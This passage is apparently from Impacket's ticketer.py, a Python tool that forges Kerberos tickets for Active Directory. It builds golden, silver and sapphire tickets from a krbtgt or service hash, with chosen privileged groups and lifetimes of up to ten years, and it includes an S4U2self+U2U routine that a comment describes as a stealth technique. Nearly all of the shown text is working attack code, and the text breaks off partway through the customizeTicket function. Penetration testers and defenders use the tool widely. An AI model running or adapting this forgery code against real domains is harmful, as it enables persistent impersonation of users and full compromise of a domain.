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ticketer.py
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ticketer.py
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#!/usr/bin/env python
# Impacket - Collection of Python classes for working with network protocols.
#
# Copyright Fortra, LLC and its affiliated companies
#
# All rights reserved.
#
# This software is provided under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Description:
# This script will create TGT/TGS tickets from scratch or based on a template (legally requested from the KDC)
# allowing you to customize some of the parameters set inside the PAC_LOGON_INFO structure, in particular the
# groups, extrasids, etc.
# Tickets duration is fixed to 10 years from now (although you can manually change it)
#
# Examples:
# ./ticketer.py -nthash <krbtgt/service nthash> -domain-sid <your domain SID> -domain <your domain FQDN> baduser
#
# will create and save a golden ticket for user 'baduser' that will be all encrypted/signed used RC4.
# If you specify -aesKey instead of -ntHash everything will be encrypted using AES128 or AES256
# (depending on the key specified). No traffic is generated against the KDC. Ticket will be saved as
# baduser.ccache.
#
# ./ticketer.py -nthash <krbtgt/service nthash> -aesKey <krbtgt/service AES> -domain-sid <your domain SID> -domain <your domain FQDN>
# -request -user <a valid domain user> -password <valid domain user's password> baduser
#
# will first authenticate against the KDC (using -user/-password) and get a TGT that will be used
# as template for customization. Whatever encryption algorithms used on that ticket will be honored,
# hence you might need to specify both -nthash and -aesKey data. Ticket will be generated for 'baduser' and saved
# as baduser.ccache.
#
# Author:
# Alberto Solino (@agsolino)
#
# References:
# - Original presentation at BlackHat USA 2014 by @gentilkiwi and @passingthehash:
# (https://www.slideshare.net/gentilkiwi/abusing-microsoft-kerberos-sorry-you-guys-dont-get-it)
# - Original implementation by Benjamin Delpy (@gentilkiwi) in mimikatz
# (https://github.com/gentilkiwi/mimikatz)
#
# ToDo:
# [X] Silver tickets still not implemented - DONE by @machosec and fixes by @br4nsh
# [ ] When -request is specified, we could ask for a user2user ticket and also populate the received PAC
#
from __future__ import division
from __future__ import print_function
import argparse
import datetime
import logging
import random
import string
import struct
import sys
from calendar import timegm
from time import strptime
from binascii import unhexlify
from six import b
from pyasn1.codec.der import encoder, decoder
from pyasn1.type.univ import noValue
from impacket import version
from impacket.dcerpc.v5.dtypes import RPC_SID, SID
from impacket.dcerpc.v5.ndr import NDRULONG
from impacket.dcerpc.v5.samr import NULL, GROUP_MEMBERSHIP, SE_GROUP_MANDATORY, SE_GROUP_ENABLED_BY_DEFAULT, \
SE_GROUP_ENABLED, USER_NORMAL_ACCOUNT, USER_DONT_EXPIRE_PASSWORD
from impacket.examples import logger
from impacket.krb5.asn1 import AS_REP, TGS_REP, ETYPE_INFO2, AuthorizationData, EncTicketPart, EncASRepPart, EncTGSRepPart, AD_IF_RELEVANT
from impacket.krb5.constants import ApplicationTagNumbers, PreAuthenticationDataTypes, EncryptionTypes, \
PrincipalNameType, ProtocolVersionNumber, TicketFlags, encodeFlags, ChecksumTypes, AuthorizationDataType, \
KERB_NON_KERB_CKSUM_SALT
from impacket.krb5.keytab import Keytab
from impacket.krb5.crypto import Key, _enctype_table
from impacket.krb5.crypto import _checksum_table, Enctype
from impacket.krb5.pac import KERB_SID_AND_ATTRIBUTES, PAC_SIGNATURE_DATA, PAC_INFO_BUFFER, PAC_LOGON_INFO, \
PAC_CLIENT_INFO_TYPE, PAC_SERVER_CHECKSUM, PAC_PRIVSVR_CHECKSUM, PACTYPE, PKERB_SID_AND_ATTRIBUTES_ARRAY, \
VALIDATION_INFO, PAC_CLIENT_INFO, KERB_VALIDATION_INFO, UPN_DNS_INFO_FULL, PAC_REQUESTOR_INFO, PAC_UPN_DNS_INFO, PAC_ATTRIBUTES_INFO, PAC_REQUESTOR, \
PAC_ATTRIBUTE_INFO
from impacket.krb5.types import KerberosTime, Principal
from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS
from impacket.krb5 import constants, pac
from impacket.krb5.asn1 import AP_REQ, TGS_REQ, Authenticator, seq_set, seq_set_iter, PA_FOR_USER_ENC, Ticket as TicketAsn1
from impacket.krb5.crypto import _HMACMD5, _AES256CTS, string_to_key
from impacket.krb5.kerberosv5 import sendReceive
from impacket.krb5.types import Ticket
from impacket.winregistry import hexdump
class TICKETER:
def __init__(self, target, password, domain, options):
self.__password = password
self.__target = target
self.__domain = domain
self.__options = options
self.__tgt = None
self.__tgt_session_key = None
if options.spn:
spn = options.spn.split('/')
self.__service = spn[0]
self.__server = spn[1]
if options.keytab is not None:
self.loadKeysFromKeytab(options.keytab)
# we are creating a golden ticket
else:
self.__service = 'krbtgt'
self.__server = self.__domain
@staticmethod
def getFileTime(t):
t *= 10000000
t += 116444736000000000
return t
@staticmethod
def getPadLength(data_length):
return ((data_length + 7) // 8 * 8) - data_length
@staticmethod
def getBlockLength(data_length):
return (data_length + 7) // 8 * 8
def loadKeysFromKeytab(self, filename):
keytab = Keytab.loadFile(filename)
keyblock = keytab.getKey("%s@%s" % (options.spn, self.__domain))
if keyblock:
if keyblock["keytype"] == Enctype.AES256 or keyblock["keytype"] == Enctype.AES128:
options.aesKey = keyblock.hexlifiedValue()
elif keyblock["keytype"] == Enctype.RC4:
options.nthash = keyblock.hexlifiedValue()
else:
logging.warning("No matching key for SPN '%s' in given keytab found!", options.spn)
def createBasicValidationInfo(self):
# 1) KERB_VALIDATION_INFO
kerbdata = KERB_VALIDATION_INFO()
aTime = timegm(datetime.datetime.utcnow().timetuple())
unixTime = self.getFileTime(aTime)
kerbdata['LogonTime']['dwLowDateTime'] = unixTime & 0xffffffff
kerbdata['LogonTime']['dwHighDateTime'] = unixTime >> 32
# LogoffTime: A FILETIME structure that contains the time the client's logon
# session should expire. If the session should not expire, this structure
# SHOULD have the dwHighDateTime member set to 0x7FFFFFFF and the dwLowDateTime
# member set to 0xFFFFFFFF. A recipient of the PAC SHOULD<7> use this value as
# an indicator of when to warn the user that the allowed time is due to expire.
kerbdata['LogoffTime']['dwLowDateTime'] = 0xFFFFFFFF
kerbdata['LogoffTime']['dwHighDateTime'] = 0x7FFFFFFF
# KickOffTime: A FILETIME structure that contains LogoffTime minus the user
# account's forceLogoff attribute ([MS-ADA1] section 2.233) value. If the
# client should not be logged off, this structure SHOULD have the dwHighDateTime
# member set to 0x7FFFFFFF and the dwLowDateTime member set to 0xFFFFFFFF.
# The Kerberos service ticket end time is a replacement for KickOffTime.
# The service ticket lifetime SHOULD NOT be set longer than the KickOffTime of
# an account. A recipient of the PAC SHOULD<8> use this value as the indicator
# of when the client should be forcibly disconnected.
kerbdata['KickOffTime']['dwLowDateTime'] = 0xFFFFFFFF
kerbdata['KickOffTime']['dwHighDateTime'] = 0x7FFFFFFF
kerbdata['PasswordLastSet']['dwLowDateTime'] = unixTime & 0xffffffff
kerbdata['PasswordLastSet']['dwHighDateTime'] = unixTime >> 32
kerbdata['PasswordCanChange']['dwLowDateTime'] = 0
kerbdata['PasswordCanChange']['dwHighDateTime'] = 0
# PasswordMustChange: A FILETIME structure that contains the time at which
# theclient's password expires. If the password will not expire, this
# structure MUST have the dwHighDateTime member set to 0x7FFFFFFF and the
# dwLowDateTime member set to 0xFFFFFFFF.
kerbdata['PasswordMustChange']['dwLowDateTime'] = 0xFFFFFFFF
kerbdata['PasswordMustChange']['dwHighDateTime'] = 0x7FFFFFFF
kerbdata['EffectiveName'] = self.__target
kerbdata['FullName'] = ''
kerbdata['LogonScript'] = ''
kerbdata['ProfilePath'] = ''
kerbdata['HomeDirectory'] = ''
kerbdata['HomeDirectoryDrive'] = ''
kerbdata['LogonCount'] = 500
kerbdata['BadPasswordCount'] = 0
kerbdata['UserId'] = int(self.__options.user_id)
# Our Golden Well-known groups! :)
groups = self.__options.groups.split(',')
if len(groups) == 0:
# PrimaryGroupId must be set, default to 513 (Domain User)
kerbdata['PrimaryGroupId'] = 513
else:
# Using first group as primary group
kerbdata['PrimaryGroupId'] = int(groups[0])
kerbdata['GroupCount'] = len(groups)
for group in groups:
groupMembership = GROUP_MEMBERSHIP()
groupId = NDRULONG()
groupId['Data'] = int(group)
groupMembership['RelativeId'] = groupId
groupMembership['Attributes'] = SE_GROUP_MANDATORY | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_ENABLED
kerbdata['GroupIds'].append(groupMembership)
kerbdata['UserFlags'] = 0
kerbdata['UserSessionKey'] = b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
kerbdata['LogonServer'] = ''
kerbdata['LogonDomainName'] = self.__domain.upper()
kerbdata['LogonDomainId'].fromCanonical(self.__options.domain_sid)
kerbdata['LMKey'] = b'\x00\x00\x00\x00\x00\x00\x00\x00'
kerbdata['UserAccountControl'] = USER_NORMAL_ACCOUNT | USER_DONT_EXPIRE_PASSWORD
kerbdata['SubAuthStatus'] = 0
kerbdata['LastSuccessfulILogon']['dwLowDateTime'] = 0
kerbdata['LastSuccessfulILogon']['dwHighDateTime'] = 0
kerbdata['LastFailedILogon']['dwLowDateTime'] = 0
kerbdata['LastFailedILogon']['dwHighDateTime'] = 0
kerbdata['FailedILogonCount'] = 0
kerbdata['Reserved3'] = 0
kerbdata['ResourceGroupDomainSid'] = NULL
kerbdata['ResourceGroupCount'] = 0
kerbdata['ResourceGroupIds'] = NULL
validationInfo = VALIDATION_INFO()
validationInfo['Data'] = kerbdata
return validationInfo
def createBasicPac(self, kdcRep):
validationInfo = self.createBasicValidationInfo()
pacInfos = {}
pacInfos[PAC_LOGON_INFO] = validationInfo.getData() + validationInfo.getDataReferents()
srvCheckSum = PAC_SIGNATURE_DATA()
privCheckSum = PAC_SIGNATURE_DATA()
if kdcRep['ticket']['enc-part']['etype'] == EncryptionTypes.rc4_hmac.value:
srvCheckSum['SignatureType'] = ChecksumTypes.hmac_md5.value
privCheckSum['SignatureType'] = ChecksumTypes.hmac_md5.value
srvCheckSum['Signature'] = b'\x00' * 16
privCheckSum['Signature'] = b'\x00' * 16
else:
srvCheckSum['Signature'] = b'\x00' * 12
privCheckSum['Signature'] = b'\x00' * 12
if len(self.__options.aesKey) == 64:
srvCheckSum['SignatureType'] = ChecksumTypes.hmac_sha1_96_aes256.value
privCheckSum['SignatureType'] = ChecksumTypes.hmac_sha1_96_aes256.value
else:
srvCheckSum['SignatureType'] = ChecksumTypes.hmac_sha1_96_aes128.value
privCheckSum['SignatureType'] = ChecksumTypes.hmac_sha1_96_aes128.value
pacInfos[PAC_SERVER_CHECKSUM] = srvCheckSum.getData()
pacInfos[PAC_PRIVSVR_CHECKSUM] = privCheckSum.getData()
clientInfo = PAC_CLIENT_INFO()
clientInfo['Name'] = self.__target.encode('utf-16le')
clientInfo['NameLength'] = len(clientInfo['Name'])
pacInfos[PAC_CLIENT_INFO_TYPE] = clientInfo.getData()
if self.__options.extra_pac:
self.createUpnDnsPac(pacInfos)
if self.__options.old_pac is False:
self.createAttributesInfoPac(pacInfos)
self.createRequestorInfoPac(pacInfos)
return pacInfos
def createUpnDnsPac(self, pacInfos):
upnDnsInfo = UPN_DNS_INFO_FULL()
PAC_pad = b'\x00' * self.getPadLength(len(upnDnsInfo))
upn_data = f"{self.__target.lower()}@{self.__domain.lower()}".encode("utf-16-le")
upnDnsInfo['UpnLength'] = len(upn_data)
upnDnsInfo['UpnOffset'] = len(upnDnsInfo) + len(PAC_pad)
total_len = upnDnsInfo['UpnOffset'] + upnDnsInfo['UpnLength']
pad = self.getPadLength(total_len)
upn_data += b'\x00' * pad
dns_name = self.__domain.upper().encode("utf-16-le")
upnDnsInfo['DnsDomainNameLength'] = len(dns_name)
upnDnsInfo['DnsDomainNameOffset'] = total_len + pad
total_len = upnDnsInfo['DnsDomainNameOffset'] + upnDnsInfo['DnsDomainNameLength']
pad = self.getPadLength(total_len)
dns_name += b'\x00' * pad
# Enable additional data mode (Sam + SID)
upnDnsInfo['Flags'] = 2
samName = self.__target.encode("utf-16-le")
upnDnsInfo['SamNameLength'] = len(samName)
upnDnsInfo['SamNameOffset'] = total_len + pad
total_len = upnDnsInfo['SamNameOffset'] + upnDnsInfo['SamNameLength']
pad = self.getPadLength(total_len)
samName += b'\x00' * pad
user_sid = SID()
user_sid.fromCanonical(f"{self.__options.domain_sid}-{self.__options.user_id}")
upnDnsInfo['SidLength'] = len(user_sid)
upnDnsInfo['SidOffset'] = total_len + pad
total_len = upnDnsInfo['SidOffset'] + upnDnsInfo['SidLength']
pad = self.getPadLength(total_len)
user_data = user_sid.getData() + b'\x00' * pad
# Post-PAC data
post_pac_data = upn_data + dns_name + samName + user_data
# Pac data building
pacInfos[PAC_UPN_DNS_INFO] = upnDnsInfo.getData() + PAC_pad + post_pac_data
@staticmethod
def createAttributesInfoPac(pacInfos):
pacAttributes = PAC_ATTRIBUTE_INFO()
pacAttributes["FlagsLength"] = 2
pacAttributes["Flags"] = 1
pacInfos[PAC_ATTRIBUTES_INFO] = pacAttributes.getData()
def createRequestorInfoPac(self, pacInfos):
pacRequestor = PAC_REQUESTOR()
pacRequestor['UserSid'] = SID()
pacRequestor['UserSid'].fromCanonical(f"{self.__options.domain_sid}-{self.__options.user_id}")
pacInfos[PAC_REQUESTOR_INFO] = pacRequestor.getData()
def createBasicTicket(self):
if self.__options.request is True:
if self.__domain == self.__server:
logging.info('Requesting TGT to target domain to use as basis')
else:
logging.info('Requesting TGT/TGS to target domain to use as basis')
if self.__options.hashes is not None:
lmhash, nthash = self.__options.hashes.split(':')
else:
lmhash = ''
nthash = ''
userName = Principal(self.__options.user, type=PrincipalNameType.NT_PRINCIPAL.value)
tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.__password, self.__domain,
unhexlify(lmhash), unhexlify(nthash), None,
self.__options.dc_ip)
self.__tgt, self.__tgt_cipher, self.__tgt_session_key = tgt, cipher, sessionKey
if self.__domain == self.__server:
kdcRep = decoder.decode(tgt, asn1Spec=AS_REP())[0]
else:
serverName = Principal(self.__options.spn, type=PrincipalNameType.NT_SRV_INST.value)
tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(serverName, self.__domain, None, tgt, cipher,
sessionKey)
kdcRep = decoder.decode(tgs, asn1Spec=TGS_REP())[0]
# Let's check we have all the necessary data based on the ciphers used. Boring checks
ticketCipher = int(kdcRep['ticket']['enc-part']['etype'])
encPartCipher = int(kdcRep['enc-part']['etype'])
if (ticketCipher == EncryptionTypes.rc4_hmac.value or encPartCipher == EncryptionTypes.rc4_hmac.value) and \
self.__options.nthash is None:
logging.critical('rc4_hmac is used in this ticket and you haven\'t specified the -nthash parameter. '
'Can\'t continue ( or try running again w/o the -request option)')
return None, None
if (ticketCipher == EncryptionTypes.aes128_cts_hmac_sha1_96.value or
encPartCipher == EncryptionTypes.aes128_cts_hmac_sha1_96.value) and \
self.__options.aesKey is None:
logging.critical(
'aes128_cts_hmac_sha1_96 is used in this ticket and you haven\'t specified the -aesKey parameter. '
'Can\'t continue (or try running again w/o the -request option)')
return None, None
if (ticketCipher == EncryptionTypes.aes128_cts_hmac_sha1_96.value or
encPartCipher == EncryptionTypes.aes128_cts_hmac_sha1_96.value) and \
self.__options.aesKey is not None and len(self.__options.aesKey) > 32:
logging.critical(
'aes128_cts_hmac_sha1_96 is used in this ticket and the -aesKey you specified is not aes128. '
'Can\'t continue (or try running again w/o the -request option)')
return None, None
if (ticketCipher == EncryptionTypes.aes256_cts_hmac_sha1_96.value or
encPartCipher == EncryptionTypes.aes256_cts_hmac_sha1_96.value) and self.__options.aesKey is None:
logging.critical(
'aes256_cts_hmac_sha1_96 is used in this ticket and you haven\'t specified the -aesKey parameter. '
'Can\'t continue (or try running again w/o the -request option)')
return None, None
if ( ticketCipher == EncryptionTypes.aes256_cts_hmac_sha1_96.value or
encPartCipher == EncryptionTypes.aes256_cts_hmac_sha1_96.value) and \
self.__options.aesKey is not None and len(self.__options.aesKey) < 64:
logging.critical(
'aes256_cts_hmac_sha1_96 is used in this ticket and the -aesKey you specified is not aes256. '
'Can\'t continue')
return None, None
kdcRep['cname']['name-type'] = PrincipalNameType.NT_PRINCIPAL.value
kdcRep['cname']['name-string'] = noValue
kdcRep['cname']['name-string'][0] = self.__options.impersonate or self.__target
else:
logging.info('Creating basic skeleton ticket and PAC Infos')
if self.__domain == self.__server:
kdcRep = AS_REP()
kdcRep['msg-type'] = ApplicationTagNumbers.AS_REP.value
else:
kdcRep = TGS_REP()
kdcRep['msg-type'] = ApplicationTagNumbers.TGS_REP.value
kdcRep['pvno'] = 5
if self.__options.nthash is None:
kdcRep['padata'] = noValue
kdcRep['padata'][0] = noValue
kdcRep['padata'][0]['padata-type'] = PreAuthenticationDataTypes.PA_ETYPE_INFO2.value
etype2 = ETYPE_INFO2()
etype2[0] = noValue
if len(self.__options.aesKey) == 64:
etype2[0]['etype'] = EncryptionTypes.aes256_cts_hmac_sha1_96.value
else:
etype2[0]['etype'] = EncryptionTypes.aes128_cts_hmac_sha1_96.value
etype2[0]['salt'] = '%s%s' % (self.__domain.upper(), self.__target)
encodedEtype2 = encoder.encode(etype2)
kdcRep['padata'][0]['padata-value'] = encodedEtype2
kdcRep['crealm'] = self.__domain.upper()
kdcRep['cname'] = noValue
kdcRep['cname']['name-type'] = PrincipalNameType.NT_PRINCIPAL.value
kdcRep['cname']['name-string'] = noValue
kdcRep['cname']['name-string'][0] = self.__target
kdcRep['ticket'] = noValue
kdcRep['ticket']['tkt-vno'] = ProtocolVersionNumber.pvno.value
kdcRep['ticket']['realm'] = self.__domain.upper()
kdcRep['ticket']['sname'] = noValue
kdcRep['ticket']['sname']['name-string'] = noValue
kdcRep['ticket']['sname']['name-string'][0] = self.__service
if self.__domain == self.__server:
kdcRep['ticket']['sname']['name-type'] = PrincipalNameType.NT_SRV_INST.value
kdcRep['ticket']['sname']['name-string'][1] = self.__domain.upper()
else:
kdcRep['ticket']['sname']['name-type'] = PrincipalNameType.NT_PRINCIPAL.value
kdcRep['ticket']['sname']['name-string'][1] = self.__server
kdcRep['ticket']['enc-part'] = noValue
kdcRep['ticket']['enc-part']['kvno'] = 2
kdcRep['enc-part'] = noValue
if self.__options.nthash is None:
if len(self.__options.aesKey) == 64:
kdcRep['ticket']['enc-part']['etype'] = EncryptionTypes.aes256_cts_hmac_sha1_96.value
kdcRep['enc-part']['etype'] = EncryptionTypes.aes256_cts_hmac_sha1_96.value
else:
kdcRep['ticket']['enc-part']['etype'] = EncryptionTypes.aes128_cts_hmac_sha1_96.value
kdcRep['enc-part']['etype'] = EncryptionTypes.aes128_cts_hmac_sha1_96.value
else:
kdcRep['ticket']['enc-part']['etype'] = EncryptionTypes.rc4_hmac.value
kdcRep['enc-part']['etype'] = EncryptionTypes.rc4_hmac.value
kdcRep['enc-part']['kvno'] = 2
kdcRep['enc-part']['cipher'] = noValue
pacInfos = self.createBasicPac(kdcRep)
return kdcRep, pacInfos
def getKerberosS4U2SelfU2U(self):
tgt = self.__tgt
cipher = self.__tgt_cipher
sessionKey = self.__tgt_session_key
kdcHost = self.__options.dc_ip
decodedTGT = decoder.decode(tgt, asn1Spec=AS_REP())[0]
# Extract the ticket from the TGT
ticket = Ticket()
ticket.from_asn1(decodedTGT['ticket'])
apReq = AP_REQ()
apReq['pvno'] = 5
apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value)
opts = list()
apReq['ap-options'] = constants.encodeFlags(opts)
seq_set(apReq, 'ticket', ticket.to_asn1)
authenticator = Authenticator()
authenticator['authenticator-vno'] = 5
authenticator['crealm'] = str(decodedTGT['crealm'])
clientName = Principal()
clientName.from_asn1(decodedTGT, 'crealm', 'cname')
seq_set(authenticator, 'cname', clientName.components_to_asn1)
now = datetime.datetime.utcnow()
authenticator['cusec'] = now.microsecond
authenticator['ctime'] = KerberosTime.to_asn1(now)
if logging.getLogger().level == logging.DEBUG:
logging.debug('AUTHENTICATOR')
print(authenticator.prettyPrint())
print('\n')
encodedAuthenticator = encoder.encode(authenticator)
# Key Usage 7
# TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes
# TGS authenticator subkey), encrypted with the TGS session
# key (Section 5.5.1)
encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None)
apReq['authenticator'] = noValue
apReq['authenticator']['etype'] = cipher.enctype
apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator
encodedApReq = encoder.encode(apReq)
tgsReq = TGS_REQ()
tgsReq['pvno'] = 5
tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value)
tgsReq['padata'] = noValue
tgsReq['padata'][0] = noValue
tgsReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value)
tgsReq['padata'][0]['padata-value'] = encodedApReq
# In the S4U2self KRB_TGS_REQ/KRB_TGS_REP protocol extension, a service
# requests a service ticket to itself on behalf of a user. The user is
# identified to the KDC by the user's name and realm.
clientName = Principal(self.__options.impersonate, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
S4UByteArray = struct.pack('<I', constants.PrincipalNameType.NT_PRINCIPAL.value)
S4UByteArray += b(self.__options.impersonate) + b(self.__domain) + b'Kerberos'
if logging.getLogger().level == logging.DEBUG:
logging.debug('S4UByteArray')
hexdump(S4UByteArray)
# Finally cksum is computed by calling the KERB_CHECKSUM_HMAC_MD5 hash
# with the following three parameters: the session key of the TGT of
# the service performing the S4U2Self request, the message type value
# of 17, and the byte array S4UByteArray.
checkSum = _HMACMD5.checksum(sessionKey, 17, S4UByteArray)
if logging.getLogger().level == logging.DEBUG:
logging.debug('CheckSum')
hexdump(checkSum)
paForUserEnc = PA_FOR_USER_ENC()
seq_set(paForUserEnc, 'userName', clientName.components_to_asn1)
paForUserEnc['userRealm'] = self.__domain
paForUserEnc['cksum'] = noValue
paForUserEnc['cksum']['cksumtype'] = int(constants.ChecksumTypes.hmac_md5.value)
paForUserEnc['cksum']['checksum'] = checkSum
paForUserEnc['auth-package'] = 'Kerberos'
if logging.getLogger().level == logging.DEBUG:
logging.debug('PA_FOR_USER_ENC')
print(paForUserEnc.prettyPrint())
encodedPaForUserEnc = encoder.encode(paForUserEnc)
tgsReq['padata'][1] = noValue
tgsReq['padata'][1]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_FOR_USER.value)
tgsReq['padata'][1]['padata-value'] = encodedPaForUserEnc
reqBody = seq_set(tgsReq, 'req-body')
opts = list()
opts.append(constants.KDCOptions.forwardable.value)
opts.append(constants.KDCOptions.renewable.value)
opts.append(constants.KDCOptions.canonicalize.value)
opts.append(constants.KDCOptions.renewable_ok.value)
opts.append(constants.KDCOptions.enc_tkt_in_skey.value)
reqBody['kdc-options'] = constants.encodeFlags(opts)
serverName = Principal(self.__options.user, self.__options.domain, type=constants.PrincipalNameType.NT_UNKNOWN.value)
seq_set(reqBody, 'sname', serverName.components_to_asn1)
reqBody['realm'] = str(decodedTGT['crealm'])
now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
reqBody['till'] = KerberosTime.to_asn1(now)
reqBody['nonce'] = random.getrandbits(31)
seq_set_iter(reqBody, 'etype',
(int(cipher.enctype), int(constants.EncryptionTypes.rc4_hmac.value)))
seq_set_iter(reqBody, 'additional-tickets', (ticket.to_asn1(TicketAsn1()),))
if logging.getLogger().level == logging.DEBUG:
logging.debug('Final TGS')
print(tgsReq.prettyPrint())
message = encoder.encode(tgsReq)
r = sendReceive(message, self.__domain, kdcHost)
return r, None, sessionKey, None
def customizeTicket(self, kdcRep, pacInfos):
logging.info('Customizing ticket for %s/%s' % (self.__domain, self.__target))
ticketDuration = datetime.datetime.utcnow() + datetime.timedelta(hours=int(self.__options.duration))
if self.__options.impersonate:
# Doing Sapphire Ticket
# todo : in its actual form, ticketer is limited to the PAC structures that are supported in impacket.
# Unsupported structures will be ignored. The PAC is not completely copy-pasted here.
# 1. S4U2Self + U2U
logging.info('\tRequesting S4U2self+U2U to obtain %s\'s PAC' % self.__options.impersonate)
tgs, cipher, oldSessionKey, sessionKey = self.getKerberosS4U2SelfU2U()
# 2. extract PAC
logging.info('\tDecrypting ticket & extracting PAC')
decodedTicket = decoder.decode(tgs, asn1Spec=TGS_REP())[0]
cipherText = decodedTicket['ticket']['enc-part']['cipher']
newCipher = _enctype_table[int(decodedTicket['ticket']['enc-part']['etype'])]
plainText = newCipher.decrypt(self.__tgt_session_key, 2, cipherText)
encTicketPart = decoder.decode(plainText, asn1Spec=EncTicketPart())[0]
# Let's extend the ticket's validity a lil bit
# I don't think this part should be left in the code. The whole point of doing a sapphire ticket is stealth, extending ticket duration is not the way to go
# encTicketPart['endtime'] = KerberosTime.to_asn1(ticketDuration)
# encTicketPart['renew-till'] = KerberosTime.to_asn1(ticketDuration)
# Opening PAC
adIfRelevant = decoder.decode(encTicketPart['authorization-data'][0]['ad-data'], asn1Spec=AD_IF_RELEVANT())[0]
pacType = pac.PACTYPE(adIfRelevant[0]['ad-data'].asOctets())
pacInfos = dict()
buff = pacType['Buffers']
# clearing the signatures so that we can sign&encrypt later on
AttributesInfoPacInS4UU2UPAC = False
RequestorInfoPacInS4UU2UPAC = False
logging.info("\tClearing signatures")
for bufferN in range(pacType['cBuffers']):
infoBuffer = pac.PAC_INFO_BUFFER(buff)
data = pacType['Buffers'][infoBuffer['Offset'] - 8:][:infoBuffer['cbBufferSize']]
buff = buff[len(infoBuffer):]
if infoBuffer['ulType'] in [PAC_SERVER_CHECKSUM, PAC_PRIVSVR_CHECKSUM]:
checksum = PAC_SIGNATURE_DATA(data)
if checksum['SignatureType'] == ChecksumTypes.hmac_sha1_96_aes256.value:
checksum['Signature'] = '\x00' * 12
elif checksum['SignatureType'] == ChecksumTypes.hmac_sha1_96_aes128.value:
checksum['Signature'] = '\x00' * 12
else:
checksum['Signature'] = '\x00' * 16
pacInfos[infoBuffer['ulType']] = checksum.getData()
elif infoBuffer['ulType'] == PAC_ATTRIBUTES_INFO:
AttributesInfoPacInS4UU2UPAC = True
pacInfos[infoBuffer['ulType']] = data
elif infoBuffer['ulType'] == PAC_REQUESTOR_INFO:
RequestorInfoPacInS4UU2UPAC = True
pacInfos[infoBuffer['ulType']] = data
else:
pacInfos[infoBuffer['ulType']] = data
# adding the Requestor and Attributes structures manually if they were not in the S4U2self+U2U ticket's PAC
if self.__options.old_pac is False and not AttributesInfoPacInS4UU2UPAC:
self.createAttributesInfoPac(pacInfos)
if self.__options.old_pac is False and not RequestorInfoPacInS4UU2UPAC:
if self.__options.user_id == "500":
logging.warning("User ID is 500, which is Impacket's default. If you specified -user-id, you can ignore this message. "
"If you didn't, and you get a KDC_ERR_TGT_REVOKED error when using the ticket, you will need to specify the -user-id "
"with the RID of the target user to impersonate")
self.createRequestorInfoPac(pacInfos)
# changing ticket flags to match TGT / ST
logging.info("\tAdding necessary ticket flags")
originalFlags = [i for i, x in enumerate(list(encTicketPart['flags'].asBinary())) if x == '1']
flags = originalFlags
newFlags = [TicketFlags.forwardable.value, TicketFlags.proxiable.value, TicketFlags.renewable.value, TicketFlags.pre_authent.value]
if self.__domain == self.__server:
newFlags.append(TicketFlags.initial.value)
for newFlag in newFlags:
if newFlag not in originalFlags:
flags.append(newFlag)
encTicketPart['flags'] = encodeFlags(flags)
# changing key type to match what the TGT we obtained
logging.info("\tChanging keytype")
encTicketPart['key']['keytype'] = kdcRep['ticket']['enc-part']['etype']
if encTicketPart['key']['keytype'] == EncryptionTypes.aes128_cts_hmac_sha1_96.value:
encTicketPart['key']['keyvalue'] = ''.join([random.choice(string.ascii_letters) for _ in range(16)])
elif encTicketPart['key']['keytype'] == EncryptionTypes.aes256_cts_hmac_sha1_96.value:
encTicketPart['key']['keyvalue'] = ''.join([random.choice(string.ascii_letters) for _ in range(32)])
else:
encTicketPart['key']['keyvalue'] = ''.join([random.choice(string.ascii_letters) for _ in range(16)])
else:
encTicketPart = EncTicketPart()
flags = list()
flags.append(TicketFlags.forwardable.value)
flags.append(TicketFlags.proxiable.value)
flags.append(TicketFlags.renewable.value)
if self.__domain == self.__server:
flags.append(TicketFlags.initial.value)
flags.append(TicketFlags.pre_authent.value)
encTicketPart['flags'] = encodeFlags(flags)
encTicketPart['key'] = noValue
encTicketPart['key']['keytype'] = kdcRep['ticket']['enc-part']['etype']
if encTicketPart['key']['keytype'] == EncryptionTypes.aes128_cts_hmac_sha1_96.value:
encTicketPart['key']['keyvalue'] = ''.join([random.choice(string.ascii_letters) for _ in range(16)])
elif encTicketPart['key']['keytype'] == EncryptionTypes.aes256_cts_hmac_sha1_96.value:
encTicketPart['key']['keyvalue'] = ''.join([random.choice(string.ascii_letters) for _ in range(32)])
else:
encTicketPart['key']['keyvalue'] = ''.join([random.choice(string.ascii_letters) for _ in range(16)])
encTicketPart['crealm'] = self.__domain.upper()
encTicketPart['cname'] = noValue
encTicketPart['cname']['name-type'] = PrincipalNameType.NT_PRINCIPAL.value
encTicketPart['cname']['name-string'] = noValue
encTicketPart['cname']['name-string'][0] = self.__target
encTicketPart['transited'] = noValue
encTicketPart['transited']['tr-type'] = 0
encTicketPart['transited']['contents'] = ''
encTicketPart['authtime'] = KerberosTime.to_asn1(datetime.datetime.utcnow())
encTicketPart['starttime'] = KerberosTime.to_asn1(datetime.datetime.utcnow())
# Let's extend the ticket's validity a lil bit
encTicketPart['endtime'] = KerberosTime.to_asn1(ticketDuration)
encTicketPart['renew-till'] = KerberosTime.to_asn1(ticketDuration)
encTicketPart['authorization-data'] = noValue
encTicketPart['authorization-data'][0] = noValue
encTicketPart['authorization-data'][0]['ad-type'] = AuthorizationDataType.AD_IF_RELEVANT.value
encTicketPart['authorization-data'][0]['ad-data'] = noValue
# Let's locate the KERB_VALIDATION_INFO and Checksums
if PAC_LOGON_INFO in pacInfos:
data = pacInfos[PAC_LOGON_INFO]
validationInfo = VALIDATION_INFO()
validationInfo.fromString(pacInfos[PAC_LOGON_INFO])
lenVal = len(validationInfo.getData())
validationInfo.fromStringReferents(data, lenVal)
